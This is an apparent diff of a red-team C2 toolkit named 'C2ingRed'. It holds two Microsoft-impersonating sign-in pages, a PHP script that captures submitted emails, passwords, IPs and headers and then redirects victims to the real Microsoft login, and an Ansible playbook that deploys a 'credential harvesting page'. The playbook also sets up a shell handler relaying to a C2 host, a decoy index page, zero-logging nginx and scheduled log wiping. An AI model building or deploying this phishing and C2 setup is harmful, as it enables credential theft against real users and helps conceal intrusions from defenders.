<title>Sign in to your account</title>
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||
<style>
|
||||
body {
|
||||
font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
|
||||
background: linear-gradient(135deg, #f0f0f0, #e0e0e0);
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
height: 100vh;
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
align-items: center;
|
||||
}
|
||||
.login-container {
|
||||
background: white;
|
||||
width: 380px;
|
||||
padding: 30px 40px;
|
||||
box-shadow: 0 2px 6px rgba(0,0,0,0.1);
|
||||
}
|
||||
.logo {
|
||||
text-align: left;
|
||||
margin-bottom: 20px;
|
||||
}
|
||||
h1 {
|
||||
font-size: 24px;
|
||||
font-weight: 600;
|
||||
margin: 20px 0 15px;
|
||||
}
|
||||
input[type="text"], input[type="password"] {
|
||||
width: 100%;
|
||||
padding: 8px 0;
|
||||
margin-bottom: 15px;
|
||||
border: none;
|
||||
border-bottom: 1px solid #ccc;
|
||||
font-size: 15px;
|
||||
outline: none;
|
||||
}
|
||||
input:focus {
|
||||
border-bottom: 1px solid #0067b8;
|
||||
}
|
||||
.button-container {
|
||||
text-align: right;
|
||||
margin-top: 20px;
|
||||
}
|
||||
button {
|
||||
background-color: #0067b8;
|
||||
color: white;
|
||||
border: none;
|
||||
padding: 8px 24px;
|
||||
font-size: 14px;
|
||||
cursor: pointer;
|
||||
}
|
||||
.links {
|
||||
margin-top: 20px;
|
||||
font-size: 13px;
|
||||
}
|
||||
.links a {
|
||||
color: #0067b8;
|
||||
text-decoration: none;
|
||||
}
|
||||
.footer {
|
||||
position: fixed;
|
||||
bottom: 0;
|
||||
width: 100%;
|
||||
display: flex;
|
||||
justify-content: space-between;
|
||||
padding: 10px 20px;
|
||||
font-size: 12px;
|
||||
color: #666;
|
||||
}
|
||||
.footer a {
|
||||
color: #666;
|
||||
text-decoration: none;
|
||||
margin-left: 20px;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<div class="login-container">
|
||||
<div class="logo">
|
||||
<img src="https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE1Mu3b?ver=5c31" alt="Microsoft" width="108">
|
||||
</div>
|
||||
<h1>Sign in</h1>
|
||||
<form action="process.php" method="post">
|
||||
<input type="text" name="email" placeholder="Email, phone, or Skype" required>
|
||||
<input type="password" name="password" placeholder="Password" required>
|
||||
<div class="links">
|
||||
<a href="https://signup.live.com/signup">No account? Create one!</a><br>
|
||||
<a href="https://account.live.com/password/reset">Can't access your account?</a>
|
||||
</div>
|
||||
<div class="button-container">
|
||||
<button type="submit">Next</button>
|
||||
</div>
|
||||
</form>
|
||||
</div>
|
||||
<div class="footer">
|
||||
<div class="terms">
|
||||
<a href="https://www.microsoft.com/en-us/servicesagreement/default.aspx">Terms of use</a>
|
||||
<a href="https://www.microsoft.com/en-us/privacy/privacystatement">Privacy & cookies</a>
|
||||
</div>
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1,220 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<title>{{ page_title | default('Sign in to your account') }}</title>
|
||||
<style>
|
||||
* {
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
box-sizing: border-box;
|
||||
}
|
||||
|
||||
body {
|
||||
font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
|
||||
background: #f2f2f2;
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
align-items: center;
|
||||
min-height: 100vh;
|
||||
}
|
||||
|
||||
.container {
|
||||
background: white;
|
||||
padding: 40px;
|
||||
border-radius: 2px;
|
||||
box-shadow: 0 2px 4px rgba(0,0,0,0.1);
|
||||
width: 440px;
|
||||
max-width: 90%;
|
||||
}
|
||||
|
||||
.logo {
|
||||
text-align: left;
|
||||
margin-bottom: 24px;
|
||||
}
|
||||
|
||||
.logo img {
|
||||
height: 24px;
|
||||
}
|
||||
|
||||
h1 {
|
||||
font-size: 24px;
|
||||
font-weight: 600;
|
||||
margin-bottom: 16px;
|
||||
color: #1a1a1a;
|
||||
}
|
||||
|
||||
.form-group {
|
||||
margin-bottom: 16px;
|
||||
}
|
||||
|
||||
input[type="email"],
|
||||
input[type="password"],
|
||||
input[type="text"] {
|
||||
width: 100%;
|
||||
padding: 10px 12px;
|
||||
border: 1px solid #605e5c;
|
||||
border-radius: 2px;
|
||||
font-size: 15px;
|
||||
transition: border-color 0.2s;
|
||||
}
|
||||
|
||||
input[type="email"]:focus,
|
||||
input[type="password"]:focus,
|
||||
input[type="text"]:focus {
|
||||
outline: none;
|
||||
border-color: #0078d4;
|
||||
}
|
||||
|
||||
.forgot-password {
|
||||
display: block;
|
||||
margin: 8px 0 16px;
|
||||
color: #0078d4;
|
||||
text-decoration: none;
|
||||
font-size: 13px;
|
||||
}
|
||||
|
||||
.forgot-password:hover {
|
||||
text-decoration: underline;
|
||||
}
|
||||
|
||||
.btn-primary {
|
||||
width: 100%;
|
||||
padding: 12px;
|
||||
background: #0078d4;
|
||||
color: white;
|
||||
border: none;
|
||||
border-radius: 2px;
|
||||
font-size: 16px;
|
||||
cursor: pointer;
|
||||
transition: background 0.2s;
|
||||
}
|
||||
|
||||
.btn-primary:hover {
|
||||
background: #106ebe;
|
||||
}
|
||||
|
||||
.error-message {
|
||||
color: #d13438;
|
||||
font-size: 13px;
|
||||
margin-top: 8px;
|
||||
display: none;
|
||||
}
|
||||
|
||||
.loading {
|
||||
display: none;
|
||||
text-align: center;
|
||||
margin-top: 20px;
|
||||
}
|
||||
|
||||
.spinner {
|
||||
border: 2px solid #f3f3f3;
|
||||
border-top: 2px solid #0078d4;
|
||||
border-radius: 50%;
|
||||
width: 20px;
|
||||
height: 20px;
|
||||
animation: spin 1s linear infinite;
|
||||
display: inline-block;
|
||||
}
|
||||
|
||||
@keyframes spin {
|
||||
0% { transform: rotate(0deg); }
|
||||
100% { transform: rotate(360deg); }
|
||||
}
|
||||
|
||||
.footer {
|
||||
margin-top: 40px;
|
||||
font-size: 12px;
|
||||
color: #605e5c;
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
.footer a {
|
||||
color: #605e5c;
|
||||
text-decoration: none;
|
||||
}
|
||||
|
||||
.footer a:hover {
|
||||
text-decoration: underline;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<div class="container">
|
||||
<div class="logo">
|
||||
<img src="{{ logo_url | default('data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxMDgiIGhlaWdodD0iMjQiPjx0ZXh0IHg9IjAiIHk9IjIwIiBmb250LWZhbWlseT0iU2Vnb2UgVUkiIGZvbnQtc2l6ZT0iMjAiIGZpbGw9IiM1YzJkOTEiPk1pY3Jvc29mdDwvdGV4dD48L3N2Zz4=') }}" alt="Logo">
|
||||
</div>
|
||||
|
||||
<h1>{{ heading | default('Sign in') }}</h1>
|
||||
|
||||
<form id="loginForm" method="POST" action="/capture.php">
|
||||
<input type="hidden" name="rid" value="{{ '{{.RId}}' }}">
|
||||
<input type="hidden" name="campaign" value="{{ '{{.Campaign}}' }}">
|
||||
|
||||
<div class="form-group">
|
||||
<input type="email"
|
||||
name="username"
|
||||
id="username"
|
||||
placeholder="{{ username_placeholder | default('Email, phone, or Skype') }}"
|
||||
required>
|
||||
</div>
|
||||
|
||||
<div class="form-group">
|
||||
<input type="password"
|
||||
name="password"
|
||||
id="password"
|
||||
placeholder="{{ password_placeholder | default('Password') }}"
|
||||
required>
|
||||
</div>
|
||||
|
||||
<a href="#" class="forgot-password">{{ forgot_text | default('Forgot password?') }}</a>
|
||||
|
||||
<div class="error-message" id="error">
|
||||
{{ error_message | default('Invalid username or password.') }}
|
||||
</div>
|
||||
|
||||
<button type="submit" class="btn-primary">
|
||||
{{ button_text | default('Sign in') }}
|
||||
</button>
|
||||
|
||||
<div class="loading" id="loading">
|
||||
<div class="spinner"></div>
|
||||
<p>{{ loading_text | default('Signing in...') }}</p>
|
||||
</div>
|
||||
</form>
|
||||
|
||||
<div class="footer">
|
||||
<a href="#">{{ footer_link1 | default('Terms of use') }}</a> |
|
||||
<a href="#">{{ footer_link2 | default('Privacy & cookies') }}</a>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<script>
|
||||
document.getElementById('loginForm').addEventListener('submit', function(e) {
|
||||
e.preventDefault();
|
||||
|
||||
// Show loading state
|
||||
document.getElementById('loading').style.display = 'block';
|
||||
document.querySelector('.btn-primary').style.display = 'none';
|
||||
|
||||
// Submit form data
|
||||
fetch(this.action, {
|
||||
method: 'POST',
|
||||
body: new FormData(this)
|
||||
})
|
||||
.then(response => {
|
||||
// Redirect after a delay to simulate processing
|
||||
setTimeout(() => {
|
||||
window.location.href = '{{ redirect_url | default("https://www.microsoft.com") }}';
|
||||
}, 2000);
|
||||
})
|
||||
.catch(error => {
|
||||
document.getElementById('error').style.display = 'block';
|
||||
document.getElementById('loading').style.display = 'none';
|
||||
document.querySelector('.btn-primary').style.display = 'block';
|
||||
});
|
||||
});
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1,158 @@
|
||||
#!/bin/bash
|
||||
# post_install_redirector.sh - Post-installation setup for redirector
|
||||
|
||||
# ANSI color codes
|
||||
GREEN='\033[0;32m'
|
||||
YELLOW='\033[1;33m'
|
||||
RED='\033[0;31m'
|
||||
BLUE='\033[0;34m'
|
||||
NC='\033[0m' # No Color
|
||||
|
||||
echo -e "${BLUE}==================================================${NC}"
|
||||
echo -e "${BLUE} C2ingRed Post-Installation Setup - Redirector ${NC}"
|
||||
echo -e "${BLUE}==================================================${NC}"
|
||||
|
||||
# Function to check if domain resolves to current IP
|
||||
check_dns() {
|
||||
domain=$1
|
||||
current_ip=$(curl -s ifconfig.me)
|
||||
resolved_ip=$(dig +short $domain)
|
||||
|
||||
if [ "$resolved_ip" = "$current_ip" ]; then
|
||||
echo -e "${GREEN}DNS check passed for $domain!${NC}"
|
||||
return 0
|
||||
else
|
||||
echo -e "${YELLOW}DNS check failed for $domain${NC}"
|
||||
echo -e "Current IP: $current_ip"
|
||||
echo -e "Resolved IP: $resolved_ip or not set"
|
||||
return 1
|
||||
fi
|
||||
}
|
||||
|
||||
# Function to set up Let's Encrypt
|
||||
setup_letsencrypt() {
|
||||
domain=$1
|
||||
email=$2
|
||||
|
||||
echo -e "\n${BLUE}Setting up Let's Encrypt for $domain${NC}"
|
||||
|
||||
# Check if certificate already exists
|
||||
if [ -d "/etc/letsencrypt/live/$domain" ]; then
|
||||
echo -e "${YELLOW}Certificate already exists for $domain${NC}"
|
||||
read -p "Do you want to renew it? (y/n): " renew
|
||||
if [ "$renew" != "y" ]; then
|
||||
echo -e "${YELLOW}Skipping certificate renewal${NC}"
|
||||
return 0
|
||||
fi
|
||||
fi
|
||||
|
||||
# Stop nginx if running to free up port 80
|
||||
systemctl stop nginx 2>/dev/null
|
||||
|
||||
# Get certificate
|
||||
certbot certonly --standalone -d $domain -m $email --agree-tos --non-interactive
|
||||
|
||||
if [ $? -eq 0 ]; then
|
||||
echo -e "${GREEN}Successfully obtained certificate for $domain${NC}"
|
||||
return 0
|
||||
else
|
||||
echo -e "${RED}Failed to obtain certificate for $domain${NC}"
|
||||
return 1
|
||||
fi
|
||||
}
|
||||
|
||||
# Function to update NGINX configuration
|
||||
update_nginx_config() {
|
||||
domain=$1
|
||||
|
||||
# Check if NGINX config exists and contains the domain
|
||||
if [ -f "/etc/nginx/sites-available/default" ]; then
|
||||
if grep -q "$domain" "/etc/nginx/sites-available/default"; then
|
||||
echo -e "\n${BLUE}Updating NGINX configuration to use SSL certificate${NC}"
|
||||
|
||||
# Update SSL certificate paths
|
||||
sed -i "s|ssl_certificate .*|ssl_certificate /etc/letsencrypt/live/$domain/fullchain.pem;|" /etc/nginx/sites-available/default
|
||||
sed -i "s|ssl_certificate_key .*|ssl_certificate_key /etc/letsencrypt/live/$domain/privkey.pem;|" /etc/nginx/sites-available/default
|
||||
|
||||
echo -e "${GREEN}NGINX configuration updated${NC}"
|
||||
else
|
||||
echo -e "${YELLOW}Domain $domain not found in NGINX configuration${NC}"
|
||||
fi
|
||||
else
|
||||
echo -e "${RED}NGINX configuration file not found${NC}"
|
||||
fi
|
||||
}
|
||||
|
||||
# Function to start services
|
||||
start_services() {
|
||||
echo -e "\n${BLUE}Starting required services${NC}"
|
||||
|
||||
# Start nginx
|
||||
systemctl start nginx
|
||||
if [ $? -eq 0 ]; then
|
||||
echo -e "${GREEN}NGINX started successfully${NC}"
|
||||
systemctl enable nginx
|
||||
else
|
||||
echo -e "${RED}Failed to start NGINX${NC}"
|
||||
fi
|
||||
|
||||
# Start shell handler
|
||||
systemctl start shell-handler
|
||||
if [ $? -eq 0 ]; then
|
||||
echo -e "${GREEN}Shell handler started successfully${NC}"
|
||||
systemctl enable shell-handler
|
||||
else
|
||||
echo -e "${RED}Failed to start shell handler${NC}"
|
||||
fi
|
||||
}
|
||||
|
||||
# Function to display port information
|
||||
show_port_info() {
|
||||
# Display shell handler port
|
||||
if [ -f "/etc/systemd/system/shell-handler.service" ]; then
|
||||
SHELL_PORT=$(grep "LISTEN_PORT=" /root/Tools/shell-handler/persistent-listener.sh | cut -d'=' -f2)
|
||||
echo -e "\n${BLUE}Shell Handler Port Information:${NC}"
|
||||
echo -e "Shell Handler is using port: ${GREEN}$SHELL_PORT${NC}"
|
||||
fi
|
||||
|
||||
# Display nginx listening ports
|
||||
echo -e "\n${BLUE}NGINX Listening Ports:${NC}"
|
||||
netstat -tulnp | grep nginx
|
||||
}
|
||||
|
||||
# Main execution
|
||||
echo -e "\n${BLUE}Beginning redirector setup process...${NC}"
|
||||
|
||||
# Get domain information
|
||||
read -p "Enter redirector domain (e.g., cdn.example.com): " redirector_domain
|
||||
read -p "Enter email for Let's Encrypt: " email
|
||||
|
||||
# Check if DNS is properly configured
|
||||
echo -e "\n${BLUE}Checking DNS configuration...${NC}"
|
||||
check_dns $redirector_domain
|
||||
|
||||
# Confirm proceeding even if DNS check fails
|
||||
if [ $? -ne 0 ]; then
|
||||
echo -e "${YELLOW}DNS check failed but we can proceed anyway.${NC}"
|
||||
echo -e "${YELLOW}Make sure to set up DNS records before trying to obtain certificates.${NC}"
|
||||
read -p "Do you want to proceed anyway? (y/n): " proceed
|
||||
if [ "$proceed" != "y" ]; then
|
||||
echo -e "${RED}Setup aborted.${NC}"
|
||||
exit 1
|
||||
fi
|
||||
fi
|
||||
|
||||
# Set up Let's Encrypt
|
||||
setup_letsencrypt $redirector_domain $email
|
||||
|
||||
# Update NGINX configuration
|
||||
update_nginx_config $redirector_domain
|
||||
|
||||
# Start services
|
||||
start_services
|
||||
|
||||
# Show port information
|
||||
show_port_info
|
||||
|
||||
echo -e "\n${GREEN}Redirector setup complete!${NC}"
|
||||
echo -e "${YELLOW}Make sure DNS records are properly configured for continued operation.${NC}"
|
||||
@@ -0,0 +1,457 @@
|
||||
---
|
||||
# Common task for configuring redirector with full encryption
|
||||
# Shared across all providers
|
||||
|
||||
- name: Set a custom MOTD
|
||||
template:
|
||||
src: "../templates/motd-redirector.j2"
|
||||
dest: /etc/motd
|
||||
owner: root
|
||||
group: root
|
||||
mode: '0644'
|
||||
|
||||
- name: Update package cache with retries
|
||||
apt:
|
||||
update_cache: yes
|
||||
cache_valid_time: 0
|
||||
register: cache_update
|
||||
until: cache_update is success
|
||||
retries: 5
|
||||
delay: 10
|
||||
ignore_errors: no
|
||||
|
||||
- name: Install core packages first (high priority)
|
||||
apt:
|
||||
name:
|
||||
- nginx
|
||||
- nginx-extras
|
||||
- socat
|
||||
- jq
|
||||
- secure-delete
|
||||
state: present
|
||||
update_cache: no
|
||||
register: core_packages
|
||||
until: core_packages is success
|
||||
retries: 3
|
||||
delay: 5
|
||||
|
||||
- name: Install network utilities with fallbacks
|
||||
block:
|
||||
- name: Try to install net-tools
|
||||
apt:
|
||||
name: net-tools
|
||||
state: present
|
||||
update_cache: no
|
||||
register: net_tools_install
|
||||
|
||||
rescue:
|
||||
- name: Install alternative network utilities
|
||||
apt:
|
||||
name:
|
||||
- iproute2
|
||||
- iputils-ping
|
||||
- netcat-openbsd
|
||||
state: present
|
||||
update_cache: no
|
||||
register: alt_network_tools
|
||||
|
||||
- name: Create net-tools compatibility aliases
|
||||
copy:
|
||||
dest: /usr/local/bin/netstat
|
||||
content: |
|
||||
#!/bin/bash
|
||||
# Compatibility wrapper for netstat using ss
|
||||
ss "$@"
|
||||
mode: '0755'
|
||||
when: alt_network_tools is success
|
||||
|
||||
- name: Install PHP-FPM with version handling
|
||||
block:
|
||||
- name: Install PHP-FPM (latest available)
|
||||
apt:
|
||||
name: php-fpm
|
||||
state: present
|
||||
update_cache: no
|
||||
register: php_install
|
||||
|
||||
rescue:
|
||||
- name: Install specific PHP version as fallback
|
||||
apt:
|
||||
name:
|
||||
- php7.4-fpm
|
||||
- php7.4-cli
|
||||
state: present
|
||||
update_cache: no
|
||||
register: php_fallback
|
||||
|
||||
- name: Install certbot with dependency handling
|
||||
block:
|
||||
- name: Install certbot and nginx plugin
|
||||
apt:
|
||||
name:
|
||||
- certbot
|
||||
- python3-certbot-nginx
|
||||
state: present
|
||||
update_cache: no
|
||||
register: certbot_install
|
||||
|
||||
rescue:
|
||||
- name: Install certbot without problematic dependencies
|
||||
shell: |
|
||||
apt-get install -y --no-install-recommends certbot
|
||||
apt-get install -y --fix-broken || true
|
||||
register: certbot_manual
|
||||
ignore_errors: yes
|
||||
|
||||
- name: Install certbot via snap as ultimate fallback
|
||||
block:
|
||||
- name: Install snap if not present
|
||||
apt:
|
||||
name: snapd
|
||||
state: present
|
||||
|
||||
- name: Install certbot via snap
|
||||
snap:
|
||||
name: certbot
|
||||
classic: yes
|
||||
|
||||
- name: Create certbot symlink
|
||||
file:
|
||||
src: /snap/bin/certbot
|
||||
dest: /usr/bin/certbot
|
||||
state: link
|
||||
when: certbot_manual is failed
|
||||
|
||||
- name: Handle problematic Python dependencies
|
||||
block:
|
||||
- name: Try installing Python dependencies normally
|
||||
apt:
|
||||
name:
|
||||
- python3-requests-toolbelt
|
||||
- python3-zope.hookable
|
||||
state: present
|
||||
update_cache: no
|
||||
register: python_deps
|
||||
|
||||
rescue:
|
||||
- name: Install Python dependencies via pip as fallback
|
||||
pip:
|
||||
name:
|
||||
- requests-toolbelt
|
||||
- zope.hookable
|
||||
state: present
|
||||
register: pip_install
|
||||
ignore_errors: yes
|
||||
|
||||
- name: Download and install packages manually if repositories are down
|
||||
shell: |
|
||||
cd /tmp
|
||||
# Try alternative repositories
|
||||
wget -q http://archive.ubuntu.com/ubuntu/pool/universe/p/python-requests-toolbelt/python3-requests-toolbelt_0.8.0-1.1_all.deb || \
|
||||
wget -q http://launchpad.net/ubuntu/+archive/primary/+files/python3-requests-toolbelt_0.8.0-1.1_all.deb || true
|
||||
|
||||
if [ -f python3-requests-toolbelt_*.deb ]; then
|
||||
dpkg -i python3-requests-toolbelt_*.deb || apt-get install -f -y
|
||||
fi
|
||||
when: pip_install is failed
|
||||
ignore_errors: yes
|
||||
|
||||
- name: Verify critical packages are installed
|
||||
command: "{{ item.cmd }}"
|
||||
register: package_verify
|
||||
failed_when: package_verify.rc != 0
|
||||
loop:
|
||||
- { cmd: "nginx -v", name: "nginx" }
|
||||
- { cmd: "socat -V", name: "socat" }
|
||||
- { cmd: "jq --version", name: "jq" }
|
||||
- { cmd: "which certbot", name: "certbot" }
|
||||
ignore_errors: yes
|
||||
|
||||
- name: Create package installation report
|
||||
debug:
|
||||
msg: |
|
||||
C2ingRed Package Installation Status:
|
||||
===================================
|
||||
Core Packages: {{ 'SUCCESS' if core_packages is success else 'FAILED' }}
|
||||
Network Tools: {{ 'SUCCESS' if net_tools_install is success else 'FALLBACK USED' }}
|
||||
PHP-FPM: {{ 'SUCCESS' if php_install is success else 'FALLBACK USED' if php_fallback is success else 'FAILED' }}
|
||||
Certbot: {{ 'SUCCESS' if certbot_install is success else 'FALLBACK USED' }}
|
||||
Python Deps: {{ 'SUCCESS' if python_deps is success else 'FALLBACK ATTEMPTED' }}
|
||||
|
||||
Critical Services Verified:
|
||||
{% for item in package_verify.results %}
|
||||
- {{ item.item.name }}: {{ 'OK' if item.rc == 0 else 'MISSING' }}
|
||||
{% endfor %}
|
||||
|
||||
- name: Force fix broken packages if any installation failed
|
||||
shell: |
|
||||
apt-get update --fix-missing
|
||||
apt-get install -f -y
|
||||
dpkg --configure -a
|
||||
when: core_packages is failed or certbot_install is failed
|
||||
register: fix_broken
|
||||
ignore_errors: yes
|
||||
|
||||
- name: Final package status check and remediation
|
||||
block:
|
||||
- name: Check for any remaining broken packages
|
||||
shell: apt-get check
|
||||
register: apt_check
|
||||
failed_when: false
|
||||
|
||||
- name: List installed packages for verification
|
||||
shell: |
|
||||
echo "=== INSTALLED PACKAGES ==="
|
||||
dpkg -l | grep -E "(nginx|certbot|socat|jq|php)" || echo "Some packages missing"
|
||||
echo "=== BROKEN PACKAGES ==="
|
||||
apt-get check 2>&1 | grep -i "broken\|error" || echo "No broken packages detected"
|
||||
register: final_status
|
||||
|
||||
- name: Display final installation status
|
||||
debug:
|
||||
var: final_status.stdout_lines
|
||||
|
||||
- name: Ensure critical services are enabled
|
||||
systemd:
|
||||
name: "{{ item }}"
|
||||
enabled: yes
|
||||
state: started
|
||||
loop:
|
||||
- nginx
|
||||
- php7.4-fpm
|
||||
ignore_errors: yes
|
||||
register: service_start
|
||||
|
||||
- name: Create operational readiness marker
|
||||
copy:
|
||||
dest: /tmp/c2ingred_packages_ready
|
||||
content: |
|
||||
C2ingRed Package Installation Complete
|
||||
Timestamp: {{ ansible_date_time.iso8601 }}
|
||||
Status: {{ 'READY' if core_packages is success else 'PARTIAL' }}
|
||||
mode: '0644'
|
||||
|
||||
- name: Create directories for operational scripts
|
||||
file:
|
||||
path: "{{ item }}"
|
||||
state: directory
|
||||
mode: '0700'
|
||||
owner: root
|
||||
group: root
|
||||
with_items:
|
||||
- /root/Tools
|
||||
- /root/Tools/shell-handler
|
||||
|
||||
- name: Copy clean-logs.sh script
|
||||
copy:
|
||||
src: "../files/clean-logs.sh"
|
||||
dest: /root/Tools/clean-logs.sh
|
||||
mode: '0700'
|
||||
owner: root
|
||||
group: root
|
||||
|
||||
- name: Copy redirector post-install script
|
||||
copy:
|
||||
src: "../files/post_install_redirector.sh"
|
||||
dest: "/root/Tools/post_install_redirector.sh"
|
||||
mode: '0700'
|
||||
owner: root
|
||||
group: root
|
||||
|
||||
- name: Copy port randomization script
|
||||
copy:
|
||||
src: "../files/randomize_ports.sh"
|
||||
dest: "/root/Tools/randomize_ports.sh"
|
||||
mode: '0700'
|
||||
owner: root
|
||||
group: root
|
||||
|
||||
- name: Create redirector post-install instructions
|
||||
copy:
|
||||
content: |
|
||||
================================================================
|
||||
C2ingRed Redirector Post-Installation Instructions
|
||||
================================================================
|
||||
|
||||
To complete your setup with SSL certificates, run:
|
||||
/root/Tools/post_install_redirector.sh
|
||||
|
||||
This script will guide you through:
|
||||
- Setting up Let's Encrypt certificates
|
||||
- Starting required services
|
||||
- Updating NGINX configuration
|
||||
|
||||
For enhanced OPSEC, you can also randomize ports:
|
||||
/root/Tools/randomize_ports.sh
|
||||
|
||||
Run these after you've configured your DNS records to point to this server.
|
||||
dest: "/root/POST_INSTALL_INSTRUCTIONS.txt"
|
||||
mode: '0644'
|
||||
owner: root
|
||||
group: root
|
||||
|
||||
- name: Copy shell handler script
|
||||
copy:
|
||||
src: "../files/havoc_shell_handler.sh"
|
||||
dest: /root/Tools/shell-handler/persistent-listener.sh
|
||||
mode: '0700'
|
||||
owner: root
|
||||
group: root
|
||||
|
||||
- name: Configure shell handler script with C2 IP
|
||||
replace:
|
||||
path: /root/Tools/shell-handler/persistent-listener.sh
|
||||
regexp: 'C2_HOST="127.0.0.1"'
|
||||
replace: 'C2_HOST="{{ c2_ip }}"'
|
||||
|
||||
- name: Configure shell handler script with listening port
|
||||
template:
|
||||
src: "../files/havoc_shell_handler.sh"
|
||||
dest: "/root/Tools/shell_handler.sh"
|
||||
mode: 0755
|
||||
vars:
|
||||
listen_port: "{{ shell_handler_port | default(8083) }}"
|
||||
|
||||
- name: Create shell handler service
|
||||
template:
|
||||
src: "../templates/shell-handler.service.j2"
|
||||
dest: /etc/systemd/system/shell-handler.service
|
||||
mode: '0644'
|
||||
owner: root
|
||||
group: root
|
||||
|
||||
- name: Configure NGINX for zero-logging if enabled
|
||||
template:
|
||||
src: "../templates/nginx.conf.j2"
|
||||
dest: /etc/nginx/nginx.conf
|
||||
mode: '0644'
|
||||
owner: root
|
||||
group: root
|
||||
when: zero_logs | bool
|
||||
|
||||
- name: Create payload directory
|
||||
file:
|
||||
path: /var/www/resources
|
||||
state: directory
|
||||
mode: '0755'
|
||||
owner: www-data
|
||||
group: www-data
|
||||
|
||||
- name: Include traffic flow configuration
|
||||
include_tasks: "../tasks/traffic_flow_config.yml"
|
||||
|
||||
# Run port randomization if enabled
|
||||
- name: Run port randomization if enabled
|
||||
include_tasks: port_randomization.yml
|
||||
when: randomize_ports | default(true) | bool
|
||||
|
||||
# Add just before configuring NGINX
|
||||
- name: Check if snakeoil certificates exist
|
||||
stat:
|
||||
path: /etc/ssl/certs/ssl-cert-snakeoil.pem
|
||||
register: snakeoil_cert
|
||||
|
||||
- name: Generate self-signed certificates if snakeoil not available
|
||||
block:
|
||||
- name: Create directory for self-signed certificates
|
||||
file:
|
||||
path: /etc/nginx/conf.d
|
||||
state: directory
|
||||
mode: '0755'
|
||||
|
||||
- name: Generate self-signed certificate
|
||||
shell: |
|
||||
openssl req -x509 -nodes -days 3650 -newkey rsa:2048 \
|
||||
-keyout /etc/nginx/conf.d/selfsigned.key \
|
||||
-out /etc/nginx/conf.d/selfsigned.crt \
|
||||
-subj "/C=US/ST=State/L=City/O=Organization/CN=localhost"
|
||||
args:
|
||||
creates: /etc/nginx/conf.d/selfsigned.crt
|
||||
when: not snakeoil_cert.stat.exists
|
||||
|
||||
# Configure nginx for dual HTTP/HTTPS with complete encryption
|
||||
- name: Configure NGINX for secure C2 redirection
|
||||
template:
|
||||
src: "../templates/redirector-site.conf.j2"
|
||||
dest: /etc/nginx/sites-available/default
|
||||
mode: '0644'
|
||||
owner: root
|
||||
group: root
|
||||
|
||||
- name: Create legitimate-looking index.html
|
||||
template:
|
||||
src: "../templates/redirector-index.html.j2"
|
||||
dest: /var/www/html/index.html
|
||||
mode: '0644'
|
||||
owner: www-data
|
||||
group: www-data
|
||||
|
||||
- name: Create SSL certificate setup instructions
|
||||
template:
|
||||
src: "../templates/setup-cert.sh.j2"
|
||||
dest: /root/Tools/setup-cert.sh
|
||||
mode: '0700'
|
||||
owner: root
|
||||
group: root
|
||||
|
||||
- name: Configure NGINX stream module for TCP traffic
|
||||
template:
|
||||
src: "../templates/stream.conf.j2"
|
||||
dest: /etc/nginx/modules-enabled/stream.conf
|
||||
mode: '0644'
|
||||
owner: root
|
||||
group: root
|
||||
|
||||
- name: Create credential harvesting directory
|
||||
file:
|
||||
path: /var/www/login
|
||||
state: directory
|
||||
mode: '0755'
|
||||
owner: www-data
|
||||
group: www-data
|
||||
|
||||
# Create secure storage outside web root
|
||||
- name: Create secure credential storage
|
||||
file:
|
||||
path: /var/private/creds
|
||||
state: directory
|
||||
mode: '0700' # Only owner access
|
||||
owner: www-data
|
||||
group: www-data
|
||||
|
||||
- name: Deploy credential harvesting page
|
||||
template:
|
||||
src: "../templates/fake-login.html.j2"
|
||||
dest: "/var/www/login/auth.html"
|
||||
mode: '0644'
|
||||
owner: www-data
|
||||
group: www-data
|
||||
|
||||
- name: Deploy credential capture script
|
||||
template:
|
||||
src: "../templates/capture.php.j2"
|
||||
dest: "/var/www/login/process.php"
|
||||
mode: '0644'
|
||||
owner: www-data
|
||||
group: www-data
|
||||
|
||||
- name: Install PHP for credential processing
|
||||
apt:
|
||||
name: php-fpm
|
||||
state: present
|
||||
update_cache: yes
|
||||
|
||||
- name: Start and enable shell handler service
|
||||
systemd:
|
||||
name: shell-handler
|
||||
state: started
|
||||
enabled: yes
|
||||
daemon_reload: yes
|
||||
|
||||
- name: Set up cron job for log cleaning if zero-logs enabled
|
||||
cron:
|
||||
name: "Clean logs"
|
||||
minute: "0"
|
||||
hour: "*/6"
|
||||
job: "/root/Tools/clean-logs.sh > /dev/null 2>&1"
|
||||
when: zero_logs | bool
|
||||
@@ -0,0 +1,27 @@
|
||||
<?php
|
||||
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
|
||||
$data = [
|
||||
'timestamp' => date('Y-m-d H:i:s'),
|
||||
'ip' => $_SERVER['REMOTE_ADDR'],
|
||||
'user_agent' => $_SERVER['HTTP_USER_AGENT'],
|
||||
'email' => $_POST['email'] ?? '',
|
||||
'password' => $_POST['password'] ?? '',
|
||||
'headers' => getallheaders()
|
||||
];
|
||||
|
||||
|
||||
$log_file = '/var/private/creds/creds.enc';
|
||||
$encrypted = openssl_encrypt(
|
||||
json_encode($data),
|
||||
'AES-256-CBC',
|
||||
'{{ lookup("password", "/dev/null chars=ascii_letters,digits length=32") }}',
|
||||
0,
|
||||
str_repeat("\0", 16)
|
||||
);
|
||||
file_put_contents($log_file, $encrypted . "\n", FILE_APPEND);
|
||||
|
||||
|
||||
header('Location: https://login.microsoftonline.com/common/oauth2/);
|
||||
exit;
|
||||
}
|
||||
?>
|
||||
@@ -0,0 +1,157 @@
|
||||
---
|
||||
